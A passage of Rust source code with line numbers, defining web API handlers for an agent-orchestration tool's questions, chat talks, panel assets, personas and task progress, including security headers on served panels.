7680 .map(|e| e.reason);
7681 let error = ApiError::bad_request_from(e);
7682 if let Some(reason) = reason {
7683 ApiError {
7684 text_reason: Some(reason),
7685 ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
7686 }
7687 } else {
7688 error
7689 }
7690}
7691
7692#[derive(Debug, Deserialize)]
7694#[serde(deny_unknown_fields)]
7695struct NewSay {
7696 body: String,
7697}
7698
7699async fn question_say(
7709 State(ui): State<Arc<Ui>>,
7710 Path(id): Path<String>,
7711 body: std::result::Result<Json<NewSay>, JsonRejection>,
7712) -> ApiResult<Json<QuestionView>> {
7713 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7714 blocking(move || {
7715 let id = resolve_question(&ui.questions, &id)?;
7716 let q = ui
7717 .questions
7718 .get(&id)
7719 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7720 if !q.status.open() {
7721 return Err(ApiError::conflict(format!(
7725 "question {} is already {}",
7726 q.short(),
7727 q.status.as_str()
7728 )));
7729 }
7730 let cfg = deputy_config(&ui.repo);
7733 let (q, ()) = ui
7734 .questions
7735 .update(&q.id, |r| {
7736 if body.body.trim().is_empty() {
7737 return r.say(body.body);
7738 }
7739 crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
7740 r.say(body.body)
7741 })
7742 .map_err(question_text_error)?;
7743 let (tasks, talks, watches) =
7744 question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
7745 Ok(Json(
7746 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
7747 ))
7748 })
7749 .await
7750}
7751
7752async fn admitted<T: Send + 'static>(
7755 admission: AdmissionGuard,
7756 work: impl Future<Output = ApiResult<T>> + Send + 'static,
7757) -> ApiResult<T> {
7758 tokio::spawn(async move {
7759 let result = work.await;
7760 drop(admission);
7761 result
7762 })
7763 .await
7764 .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
7765}
7766
7767async fn question_consult(
7776 State(ui): State<Arc<Ui>>,
7777 Path(id): Path<String>,
7778) -> ApiResult<(StatusCode, Json<QuestionView>)> {
7779 let admission = ui.begin_admission()?;
7780 admitted(admission, async move {
7781 let (q, tasks, talks, watches, talk, cfg) = blocking({
7782 let ui = Arc::clone(&ui);
7783 move || {
7784 let id = resolve_question(&ui.questions, &id)?;
7785 let q = ui.questions.get(&id).map_err(|e| {
7786 ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
7787 })?;
7788 if !q.status.open() {
7789 return Err(ApiError::conflict(format!(
7790 "question {} is already {}",
7791 q.short(),
7792 q.status.as_str()
7793 )));
7794 }
7795 let (tasks, talks, watches) =
7796 question_origin_inputs(&ui, std::slice::from_ref(&q))?;
7797 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
7798 return Err(ApiError::conflict(format!(
7799 "question {} has no chat to ask",
7800 q.short()
7801 )));
7802 };
7803 let cfg = if q.consult.is_none() {
7807 Some(Config::discover(&talk.repo, None)?.0)
7808 } else {
7809 None
7810 };
7811 Ok((q, tasks, talks, watches, talk, cfg))
7812 }
7813 })
7814 .await?;
7815 let _publication = crate::consult::publication_guard(&ui.talks, &talk.id)
7816 .await
7817 .map_err(ApiError::from)?;
7818 let (view, reclaimed, submitted) = blocking({
7819 let ui = Arc::clone(&ui);
7820 move || {
7821 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
7822 let claim = if fresh {
7823 match ui.begin_queued_talk_turn(&talk.id)? {
7824 Some(turn_guard) => {
7825 let talk = ui.talks.get(&talk.id)?;
7826 let cfg = match cfg {
7827 Some(cfg) => cfg,
7828 None => Config::discover(&talk.repo, None)?.0,
7829 };
7830 Some((talk, cfg, turn_guard))
7831 }
7832 None => None,
7833 }
7834 } else {
7835 None
7836 };
7837 let q = ui.questions.get(&q.id)?;
7838 let cfg = deputy_config(&ui.repo);
7839 let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
7840 .with_origin(&tasks, &talks, &watches);
7841 Ok((view, claim, fresh.then_some(talk.id)))
7842 }
7843 })
7844 .await?;
7845 #[cfg(not(test))]
7846 {
7847 if let Some(id) = submitted {
7848 crate::consult::spawn_turn(&ui.talks, &id)
7849 .await
7850 .map_err(ApiError::from)?;
7851 }
7852 drop(reclaimed);
7853 }
7854 #[cfg(test)]
7855 let _ = submitted;
7856 #[cfg(test)]
7857 if let Some((talk, cfg, turn_guard)) = reclaimed {
7858 let talks = ui.talks.clone();
7859 let id = talk.id.clone();
7860 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7861 }
7862 Ok((StatusCode::ACCEPTED, Json(view)))
7863 })
7864 .await
7865}
7866
7867fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
7869 if plain_record_id(id) && store.path_of(id).is_file() {
7870 return Ok(id.to_owned());
7871 }
7872 pick(
7873 store.list().into_iter().map(|q| q.id).collect(),
7874 id,
7875 "question",
7876 )
7877}
7878
7879async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
7894 blocking(move || {
7895 let id = resolve_question(&ui.questions, &id)?;
7896 let Some(html) = ui.questions.panel_html(&id) else {
7897 return Err(ApiError::not_found(format!("question {id} has no panel")));
7898 };
7899 Ok(panel_response(
7900 "text/html; charset=utf-8",
7901 false,
7902 html.into_bytes(),
7903 ))
7904 })
7905 .await
7906}
7907
7908async fn question_asset(
7936 State(ui): State<Arc<Ui>>,
7937 Path((id, name)): Path<(String, String)>,
7938) -> ApiResult<Response> {
7939 if !crate::ask::valid_asset_name(&name) {
7942 return Err(ApiError::bad_request(format!(
7943 "`{name}` is not a usable asset name"
7944 )));
7945 }
7946 blocking(move || {
7947 let id = resolve_question(&ui.questions, &id)?;
7948 let asset = ui
7949 .questions
7950 .panel_asset(&id, &name)
7951 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
7952 let Some(bytes) = asset else {
7953 return Err(ApiError::not_found(format!(
7954 "question {id} has no asset `{name}`"
7955 )));
7956 };
7957 Ok(panel_response(
7958 asset_content_type(&name),
7959 is_svg(&name),
7960 bytes,
7961 ))
7962 })
7963 .await
7964}
7965
7966fn asset_content_type(name: &str) -> &'static str {
7979 match extension(name).as_deref() {
7980 Some("png") => "image/png",
7981 Some("jpg" | "jpeg") => "image/jpeg",
7982 Some("gif") => "image/gif",
7983 Some("webp") => "image/webp",
7984 Some("svg") => "image/svg+xml",
7985 Some("css") => "text/css; charset=utf-8",
7986 Some("txt") => "text/plain; charset=utf-8",
7987 _ => "application/octet-stream",
7988 }
7989}
7990
7991fn is_svg(name: &str) -> bool {
7994 extension(name).as_deref() == Some("svg")
7995}
7996
7997fn extension(name: &str) -> Option<String> {
7999 name.rsplit_once('.')
8000 .map(|(_, ext)| ext.to_ascii_lowercase())
8001}
8002
8003fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
8020 let mut res = (
8021 [
8022 (header::CONTENT_TYPE, content_type),
8023 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
8024 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8025 (header::REFERRER_POLICY, "no-referrer"),
8026 ],
8027 body,
8028 )
8029 .into_response();
8030 if download {
8031 res.headers_mut().insert(
8032 header::CONTENT_DISPOSITION,
8033 HeaderValue::from_static("attachment"),
8034 );
8035 }
8036 res
8037}
8038
8039#[derive(Debug, Serialize)]
8045struct ChatApproval {
8046 question: String,
8047 target: crate::merge_decision::Target,
8048}
8049
8050#[derive(Debug, Serialize)]
8051struct TalkView {
8052 #[serde(flatten)]
8053 talk: Talk,
8054 turn_bodies_md: Vec<Vec<md::Node>>,
8055 turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
8057 pending_messages_md: Vec<Option<Vec<md::Node>>>,
8058 merge_approvals: Vec<ChatApproval>,
8059 thinking: bool,
8067 context: talk::ContextUsage,
8071 operator_name: Option<String>,
8074 persona_name: Option<String>,
8076 persona_avatar: String,
8079 operator_avatar: String,
8081 magi_avatar: String,
8082}
8083
8084impl TalkView {
8085 fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
8088 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8089 Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
8090 }
8091
8092 fn with_config(
8095 talk: Talk,
8096 thinking: bool,
8097 cfg: Option<&Config>,
8098 home: &FsPath,
8099 cache: &id_links::IndexCache,
8100 ) -> Self {
8101 let references = cache.for_talk(home, &talk);
8102 Self::with_references(talk, thinking, cfg, home, &references)
8103 }
8104
8105 fn with_references(
8106 mut talk: Talk,
8107 thinking: bool,
8108 cfg: Option<&Config>,
8109 home: &FsPath,
8110 references: &id_links::IdIndex,
8111 ) -> Self {
8112 let snapshot = talk.clone();
8114 for (index, turn) in talk.turns.iter_mut().enumerate() {
8115 let original = &snapshot.turns[index];
8116 if turn.messages.is_empty() {
8117 if let Some(display) = talk::notice_display(&snapshot, original, None) {
8118 turn.messages.push(talk::Message {
8119 sender: Some(talk::Sender::Magi),
8120 body: original.body.clone(),
8121 display: Some(display),
8122 attachments: original.attachments.clone(),
8123 reply: None,
8124 });
8125 }
8126 } else {
8127 for (i, message) in turn.messages.iter_mut().enumerate() {
8128 message.display =
8129 talk::notice_display(&snapshot, original, original.messages.get(i));
8130 if message.display.is_some() {
8131 message.sender = Some(talk::Sender::Magi);
8132 }
8133 }
8134 }
8135 }
8136 for message in &mut talk.pending_messages {
8137 if message.display.is_none()
8138 && (message.sender == Some(talk::Sender::Magi)
8139 || snapshot
8140 .completion_notices
8141 .iter()
8142 .any(|r| r.notice == message.body))
8143 {
8144 message.display = crate::prompt::legacy_notice_display(&message.body);
8145 if message.display.is_some() {
8146 message.sender = Some(talk::Sender::Magi);
8147 }
8148 }
8149 }
8150 if talk.pending_messages.is_empty()
8151 && snapshot
8152 .completion_notices
8153 .iter()
8154 .any(|r| r.notice == talk.pending)
8155 && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
8156 {
8157 talk.pending_messages.push(talk::Message {
8158 sender: Some(talk::Sender::Magi),
8159 display: Some(display),
8160 body: talk.pending.clone(),
8161 attachments: talk.pending_attachments.clone(),
8162 reply: None,
8163 });
8164 }
8165 let excerpts: Vec<Vec<Option<String>>> = talk
8166 .turns
8167 .iter()
8168 .map(|turn| {
8169 turn.messages
8170 .iter()
8171 .map(|m| {
8172 m.display
8173 .as_ref()
8174 .map(|d| d.facts.chars().take(240).collect())
8175 })
8176 .collect()
8177 })
8178 .collect();
8179 for turn in &mut talk.turns {
8180 let provenance = talk::sender(turn, None);
8181 turn.sender = Some(provenance);
8182 for message in &mut turn.messages {
8183 message.sender = Some(message.sender.unwrap_or(provenance));
8184 }
8185 }
8186 let senders: Vec<Vec<talk::Sender>> = talk
8188 .turns
8189 .iter()
8190 .map(|turn| {
8191 if turn.messages.is_empty() {
8192 vec![talk::sender(turn, None)]
8193 } else {
8194 turn.messages
8195 .iter()
8196 .map(|m| talk::sender(turn, Some(m)))
8197 .collect()
8198 }
8199 })
8200 .collect();
8201 for reply in talk
8202 .turns
8203 .iter_mut()
8204 .flat_map(|t| t.messages.iter_mut())
8205 .chain(talk.pending_messages.iter_mut())
8206 .filter_map(|m| m.reply.as_mut())
8207 {
8208 if let Some(Some(excerpt)) = excerpts
8209 .get(reply.target.turn)
8210 .and_then(|ms| ms.get(reply.target.message))
8211 {
8212 reply.excerpt = excerpt.clone();
8213 reply.sender = Some(talk::Sender::Magi);
8214 }
8215 if reply.sender.is_none() {
8216 reply.sender = senders
8217 .get(reply.target.turn)
8218 .and_then(|messages| messages.get(reply.target.message))
8219 .copied();
8220 }
8221 }
8222 let context = talk::context_usage(&talk, cfg);
8223 let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
8224 .turns
8225 .iter()
8226 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
8227 .collect();
8228 let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
8229 .turns
8230 .iter()
8231 .map(|turn| {
8232 if turn.messages.is_empty() {
8233 vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
8234 } else {
8235 turn.messages
8236 .iter()
8237 .map(|message| {
8238 notice_markdown(
8239 message.sender.unwrap_or(talk::Sender::Operator),
8240 &message.body,
8241 message.display.as_ref(),
8242 )
8243 })
8244 .collect()
8245 }
8246 })
8247 .collect();
8248 let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
8249 .pending_messages
8250 .iter()
8251 .map(|message| {
8252 notice_markdown(
8253 message.sender.unwrap_or(talk::Sender::Operator),
8254 &message.body,
8255 message.display.as_ref(),
8256 )
8257 })
8258 .collect();
8259 for nodes in &mut turn_bodies_md {
8260 references.markdown(nodes);
8261 }
8262 for nodes in turn_messages_md
8263 .iter_mut()
8264 .flatten()
8265 .chain(pending_messages_md.iter_mut())
8266 .flatten()
8267 {
8268 references.markdown(nodes);
8269 }
8270 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
8271 let persona_name = persona::find(specs, &talk.persona)
8272 .filter(|p| !p.is_default())
8273 .map(|p| p.name);
8274 let mut avatar_persona = persona::find(specs, &talk.persona)
8275 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
8276 if avatar_persona.id != talk.persona
8278 && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
8279 {
8280 avatar_persona.id.clone_from(&talk.persona);
8281 avatar_persona.icon = None;
8282 }
8283 let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
8284 let approvals_store = ask::Questions::at(home.join("questions"));
8285 let merge_approvals = talk
8286 .notified
8287 .iter()
8288 .filter_map(|key| key.strip_prefix("question:"))
8289 .filter_map(|id| approvals_store.get(id).ok())
8290 .filter(|q| crate::task_chat::approval_offered(&talk, q))
8291 .filter_map(|q| {
8292 Some(ChatApproval {
8293 question: q.id,
8294 target: q.merge_target?,
8295 })
8296 })
8297 .collect();
8298 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
8299 Self {
8300 turn_bodies_md,
8301 turn_messages_md,
8302 pending_messages_md,
8303 merge_approvals,
8304 thinking,
8305 context,
8306 operator_name,
8307 persona_name,
8308 persona_avatar,
8309 magi_avatar: magi_icon_url(home),
8310 operator_avatar: operator_icon_url(home),
8311 talk,
8312 }
8313 }
8314}
8315
8316fn notice_markdown(
8318 sender: talk::Sender,
8319 body: &str,
8320 display: Option<&crate::prompt::NoticeDisplay>,
8321) -> Option<Vec<md::Node>> {
8322 if sender != talk::Sender::Magi {
8323 return None;
8324 }
8325 let text = if let Some(display) = display {
8326 display.facts.as_str()
8327 } else {
8328 if crate::prompt::is_completion_notice(body)
8331 || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
8332 {
8333 return None;
8334 }
8335 body.strip_prefix("magi: ").unwrap_or(body)
8336 };
8337 Some(md::to_nodes(text, &md::ImageBase::None))
8338}
8339
8340#[derive(Debug, Serialize)]
8345struct TalkDetailView {
8346 #[serde(flatten)]
8347 view: TalkView,
8348 tasks: Vec<TaskView>,
8349 task_progress: TalkTaskProgress,
8350 roster: Vec<RosterEntry>,
8353 personas: Vec<PersonaEntry>,
8356}
8357
8358#[derive(Debug, Serialize)]
8360struct TalkTaskProgress {
8361 state: &'static str,
8362 total: usize,
8363 done: usize,
8364 counts: std::collections::BTreeMap<&'static str, usize>,
8365 unfinished_ids: Vec<String>,
8366}
8367
8368fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
8369 let mut counts = std::collections::BTreeMap::from([
8370 ("queued", 0),
8371 ("running", 0),
8372 ("done", 0),
8373 ("failed", 0),
8374 ("held", 0),
8375 ("blocked", 0),
8376 ("parked", 0),
8377 ]);
8378 let mut unfinished_ids = Vec::new();
8379 for task in tasks {
8380 *counts.entry(task.status.as_str()).or_default() += 1;
8381 if task.status != TaskStatus::Done {
8382 unfinished_ids.push(task.id.clone());
8383 }
8384 }
8385 TalkTaskProgress {
8386 state: if tasks.is_empty() {
8387 "none"
8388 } else if unfinished_ids.is_empty() {
8389 "complete"
8390 } else {
8391 "incomplete"
8392 },
8393 total: tasks.len(),
8394 done: tasks.len() - unfinished_ids.len(),
8395 counts,
8396 unfinished_ids,
8397 }
8398}
8399
8400#[derive(Debug, Serialize)]
8402struct PersonaEntry {
8403 id: String,
8404 name: String,
8405 avatar: String,
8407}
8408
8409#[derive(Debug, Serialize)]
8411struct RosterEntry {
8412 id: String,
8413 kind: AgentKind,
8414 runnable: bool,
8416}
8417
8418async fn talks_list(
8423 State(ui): State<Arc<Ui>>,
8424 Query(q): Query<ListQuery>,
8425) -> ApiResult<Json<Vec<TalkView>>> {
8426 blocking(move || {
8427 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
8428 let talks = q.ids.as_ref().map_or_else(
8429 || ui.talks.list(),
8430 |ids| {
8431 ids.split(',')
8432 .filter(|id| plain_record_id(id))
8433 .filter_map(|id| ui.talks.get(id).ok())
8434 .collect()
8435 },
8436 );
8437 let references = if talks.iter().any(id_links::has_references) {
8438 ui.references.get(
8439 &ui.runs,
8440 &ui.queue,
8441 &ui.questions,
8442 &ui.talks,
8443 talks.iter().any(id_links::has_findings),
8444 )
8445 } else {
8446 Arc::new(id_links::IdIndex::default())
8447 };
8448 Ok(Json(
8449 talks
8450 .into_iter()
8451 .filter(|talk| q.contains(&talk.id))
8452 .map(|talk| {
8453 let thinking = ui.is_thinking(&talk.id);
8454 let cfg = configs
8455 .entry(talk.repo.clone())
8456 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
8457 TalkView::with_references(talk, thinking, cfg.as_ref(), &ui.home, &references)
8458 })
8459 .collect(),
8460 ))
8461 })
8462 .await
8463}
8464
8465#[derive(Debug, Default, Deserialize)]
8470#[serde(default)]
8471struct NewTalk {
8472 agent: Option<String>,
8473 repo: Option<PathBuf>,
8474 preferred_agent: Option<serde_json::Value>,
8478 persona: Option<serde_json::Value>,
8479 implementers: Option<serde_json::Value>,
8480}
8481
8482async fn talk_post(
8485 State(ui): State<Arc<Ui>>,
8486 body: std::result::Result<Json<NewTalk>, JsonRejection>,
8487) -> ApiResult<impl IntoResponse> {
8488 let body = match body {
8492 Ok(Json(body)) => body,
8493 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
8494 Err(e) => return Err(ApiError::bad_request(e.body_text())),
8495 };
8496 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
8497 let cfg = config_for(&repo).await?;
8498 let view = blocking(move || {
8499 let preferred = talk::Preferred {
8500 agent: body
8501 .preferred_agent
8502 .as_ref()
8503 .and_then(|v| v.as_str())
8504 .map(str::to_owned),
8505 persona: body
8506 .persona
8507 .as_ref()
8508 .and_then(|v| v.as_str())
8509 .map(str::to_owned),
8510 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
8511 };
8512 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
8513 let thinking = ui.is_thinking(&talk.id);
8514 Ok(TalkView::new(talk, thinking, &ui))
8515 })
8516 .await?;
8517 Ok((StatusCode::CREATED, Json(view)))
8518}
8519
8520async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
8522 blocking(move || {
8523 let id = resolve_talk(&ui.talks, &id)?;
8524 let talk = ui.talks.get(&id)?;
8525 let thinking = ui.is_thinking(&id);
8526 Ok(Json(TalkView::with_references(
8529 talk,
8530 thinking,
8531 None,
8532 &ui.home,
8533 &id_links::IdIndex::default(),
8534 )))
8535 })
8536 .await
8537}
8538
8539async fn talk_sections(
8540 State(ui): State<Arc<Ui>>,
8541 Path(id): Path<String>,
8542) -> ApiResult<Json<serde_json::Value>> {
8543 blocking(move || {
8544 let id = resolve_talk(&ui.talks, &id)?;
8545 let talk = ui.talks.get(&id)?;
8546 let tasks = ui.find_tasks_for_talk(&talk.id)?;
8547 let task_progress = talk_task_progress(&tasks);
8548 let tasks: Vec<_> = tasks
8549 .into_iter()
8550 .map(|task| {
8551 serde_json::json!({
8552 "id": task.id, "title": task.title, "status_str": task.status.as_str(),
8553 })
8554 })
8555 .collect();
8556 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8557 let roster: Vec<_> = cfg
8558 .as_ref()
8559 .map(|cfg| {
8560 cfg.agents
8561 .iter()
8562 .map(|a| RosterEntry {
8563 id: a.id.clone(),
8564 kind: a.kind,
8565 runnable: agent::installed(a),
8566 })
8567 .collect()
8568 })
8569 .unwrap_or_default();
8570 let specs = cfg
8571 .as_ref()
8572 .map(|cfg| cfg.talk.personas.clone())
8573 .unwrap_or_default();
8574 let personas: Vec<_> = persona::catalog(&specs)
8575 .into_iter()
8576 .map(|p| PersonaEntry {
8577 avatar: avatar_url(&ui.home, &talk.id, &p),
8578 id: p.id,
8579 name: p.name,
8580 })
8581 .collect();
8582 let active_persona = persona::find(&specs, &talk.persona)
8583 .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
8584 let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
8585 let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
8586 Ok(Json(serde_json::json!({
8587 "tasks": tasks, "task_progress": task_progress,
8588 "roster": roster, "personas": personas,
8589 "context": talk::context_usage(&talk, cfg.as_ref()),
8590 "context_for": talk.updated_at,
8591 "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
8592 "persona_name": persona_name,
8593 "persona_avatar": persona_avatar,
8594 })))
8595 })
8596 .await
8597}
8598
8599async fn talk_detail(
8601 State(ui): State<Arc<Ui>>,
8602 Path(id): Path<String>,
8603) -> ApiResult<Json<TalkDetailView>> {
8604 blocking(move || {
8605 let id = resolve_talk(&ui.talks, &id)?;
8606 let talk = ui.talks.get(&id)?;
8607 let thinking = ui.is_thinking(&talk.id);
8608 let tasks = ui.find_tasks_for_talk(&talk.id)?;
8609 let task_progress = talk_task_progress(&tasks);
8610 let tasks = tasks.into_iter().map(TaskView::from).collect();
8611 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8612 let roster = cfg
8613 .as_ref()
8614 .map(|cfg| {
8615 cfg.agents
8616 .iter()
8617 .map(|a| RosterEntry {
8618 id: a.id.clone(),
8619 kind: a.kind,
8620 runnable: agent::installed(a),
8621 })
8622 .collect()
8623 })
8624 .unwrap_or_default();
8625 let specs = cfg
8626 .as_ref()
8627 .map(|cfg| cfg.talk.personas.clone())
8628 .unwrap_or_default();
8629 let personas = persona::catalog(&specs)
8630 .into_iter()
8631 .map(|p| PersonaEntry {
8632 avatar: avatar_url(&ui.home, &talk.id, &p),
8633 id: p.id,
8634 name: p.name,
8635 })
8636 .collect();
8637 Ok(Json(TalkDetailView {
8638 view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
8639 tasks,
8640 task_progress,
8641 roster,
8642 personas,
8643 }))
8644 })
8645 .await
8646}
8647
8648#[derive(Debug, Default, Deserialize)]
8654#[serde(default, deny_unknown_fields)]
8655struct NewTalkTurn {
8656 reply_to: Option<talk::ReplyTarget>,
8657 text: String,
8658 attachments: Vec<String>,
8659}
8660
8661#[derive(Debug, Deserialize)]
8662#[serde(deny_unknown_fields)]
8663struct EditTalkPending {
8664 #[serde(default)]
8665 message: Option<usize>,
8666 text: String,
8667 expected_text: String,
8668 expected_attachments: Vec<String>,
8669}
8670
8671#[derive(Debug, Deserialize)]
8672#[serde(deny_unknown_fields)]
8673struct ClearTalkPending {
8674 expected_text: String,
8675 expected_attachments: Vec<String>,
8676}
8677
8678async fn talk_say(
8690 State(ui): State<Arc<Ui>>,
8691 Path(id): Path<String>,
8692 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
8693) -> ApiResult<(StatusCode, Json<TalkView>)> {
8694 let admission = ui.begin_admission()?;
8695 admitted(admission, async move {
8696 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8697 if body.text.trim().is_empty() && body.attachments.is_empty() {
8698 return Err(ApiError::bad_request("say something"));
8699 }
8700
8701 let id = {
8702 let ui = Arc::clone(&ui);
8703 let asked = id.clone();
8704 blocking(move || resolve_talk(&ui.talks, &asked)).await?
8705 };
8706 {
8710 let ui = Arc::clone(&ui);
8711 let id = id.clone();
8712 blocking(move || {
8713 let talk = ui.talks.get(&id)?;
8714 if !talk.status.open() {
8715 return Err(ApiError::conflict(format!(
8716 "talk {} is {} and takes no more turns",
8717 talk.short(),
8718 talk.status.as_str()
8719 )));
8720 }
8721 Ok(())
8722 })
8723 .await?;
8724 }
8725
8726 let attachments = {
8731 let ui = Arc::clone(&ui);
8732 let id = id.clone();
8733 let ids = body.attachments.clone();
8734 blocking(move || {
8735 ids.into_iter()
8736 .map(|att_id| {
8737 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
8738 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
8739 })
8740 })
8741 .collect::<ApiResult<Vec<talk::Attachment>>>()
8742 })
8743 .await?
8744 };
8745 let _publication = crate::consult::publication_guard(&ui.talks, &id)
8746 .await.map_err(ApiError::from)?;
8747
8748 let start = {
8753 let ui = Arc::clone(&ui);
8754 let id = id.clone();
8755 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
8756 };
8757 let turn_guard = match start {
8758 TalkTurnStart::Claimed(turn_guard) => turn_guard,
8759 TalkTurnStart::Pending => {
8760 return Err(ApiError::conflict(
8761 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
8762 ));
8763 }
8764 TalkTurnStart::Foreign => {
8765 return Err(ApiError::conflict(
8766 "a turn is already running in another process; try again when it has finished",
8767 ));
8768 }
8769 TalkTurnStart::Busy => {
8770 let (tx, rx) = tokio::sync::oneshot::channel();
8786 tokio::spawn({
8787 let ui = Arc::clone(&ui);
8788 let id = id.clone();
8789 let said = body.text.clone();
8790 let reply_to = body.reply_to.clone();
8791 async move {
8792 let written = blocking({
8793 let ui = Arc::clone(&ui);
8794 let id = id.clone();
8795 move || {
8796 let mut talk = ui.talks.get(&id)?;
8797 #[cfg(test)]
8802 if let Some(gate) = ui
8803 .busy_queue_gate
8804 .lock()
8805 .unwrap_or_else(PoisonError::into_inner)
8806 .take()
8807 {
8808 let _ = gate.reached.send(());
8809 let _ = gate.release.recv();
8810 }
8811 if let Err(error) = talk::queue_reply(
8812 &mut talk,
8813 &ui.talks,
8814 &said,
8815 attachments,
8816 reply_to,
8817 ) {
8818 if let Ok(fresh) = ui.talks.get(&id) {
8819 if !fresh.status.open() {
8820 return Err(ApiError::conflict(format!(
8821 "talk {} is {} and takes no more turns",
8822 fresh.short(),
8823 fresh.status.as_str()
8824 )));
8825 }
8826 }
8827 return Err(
8828 if error.to_string().contains("invalid reply target") {
8829 ApiError::bad_request("invalid reply target")
8830 } else {
8831 ApiError::from(error)
8832 },
8833 );
8834 }
8835 let claim = match ui.begin_queued_talk_turn(&id)? {
8846 Some(turn_guard) => {
8847 let (cfg, _) = Config::discover(&talk.repo, None)?;
8848 Some((talk.clone(), cfg, turn_guard))
8849 }
8850 None => None,
8851 };
8852 let thinking = ui.is_thinking(&id);
8853 Ok((TalkView::new(talk, thinking, &ui), claim))
8854 }
8855 })
8856 .await;
8857 #[cfg(not(test))]
8858 {
8859 match written {
8860 Ok((view, reclaimed)) => {
8861 let launched = crate::consult::spawn_turn(&ui.talks, &id).await;
8862 drop(reclaimed);
8863 match launched {
8864 Ok(_) => { let _ = tx.send(Ok(view)); }
8865 Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
8866 }
8867 }
8868 Err(error) => { let _ = tx.send(Err(error)); }
8869 }
8870 }
8871 #[cfg(test)]
8872 {
8873 let (view, reclaimed) = match written {
8874 Ok(pair) => pair,
8875 Err(e) => {
8876 let _ = tx.send(Err(e));
8881 return;
8882 }
8883 };
8884 let _ = tx.send(Ok(view));
8887 if let Some((talk, cfg, turn_guard)) = reclaimed {
8888 let talks = ui.talks.clone();
8889 drain_loop(talk, talks, cfg, id, turn_guard).await;
8890 }
8891 }
8892 }
8893 });
8894 let view = rx
8895 .await
8896 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
8897 return Ok((StatusCode::ACCEPTED, Json(view)));
8898 }
8899 };
8900
8901 let (talk, cfg) = {
8902 let ui = Arc::clone(&ui);
8903 let id = id.clone();
8904 blocking(move || {
8905 let talk = ui.talks.get(&id)?;
8906 let (cfg, _) = Config::discover(&talk.repo, None)?;
8907 Ok((talk, cfg))
8908 })
8909 .await?
8910 };
8911
8912 let talks = ui.talks.clone();
8913 let (tx, rx) = tokio::sync::oneshot::channel();
8928 tokio::spawn({
8929 #[cfg(test)]
8930 let ui = Arc::clone(&ui);
8931 let talks = talks.clone();
8932 let id = id.clone();
8933 let said = body.text.clone();
8934 let reply_to = body.reply_to.clone();
8935 let mut talk = talk.clone();
8936 async move {
8937 let recorded = blocking({
8938 let talks = talks.clone();
8939 move || {
8940 if let Err(error) =
8941 talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
8942 {
8943 if let Ok(fresh) = talks.get(&talk.id) {
8944 if !fresh.status.open() {
8945 return Err(ApiError::conflict(format!(
8946 "talk {} is {} and takes no more turns",
8947 fresh.short(),
8948 fresh.status.as_str()
8949 )));
8950 }
8951 }
8952 return Err(if error.to_string().contains("invalid reply target") {
8953 ApiError::bad_request("invalid reply target")
8954 } else {
8955 ApiError::from(error)
8956 });
8957 }
8958 Ok((said.trim().to_owned(), talk))
8964 }
8965 })
8966 .await;
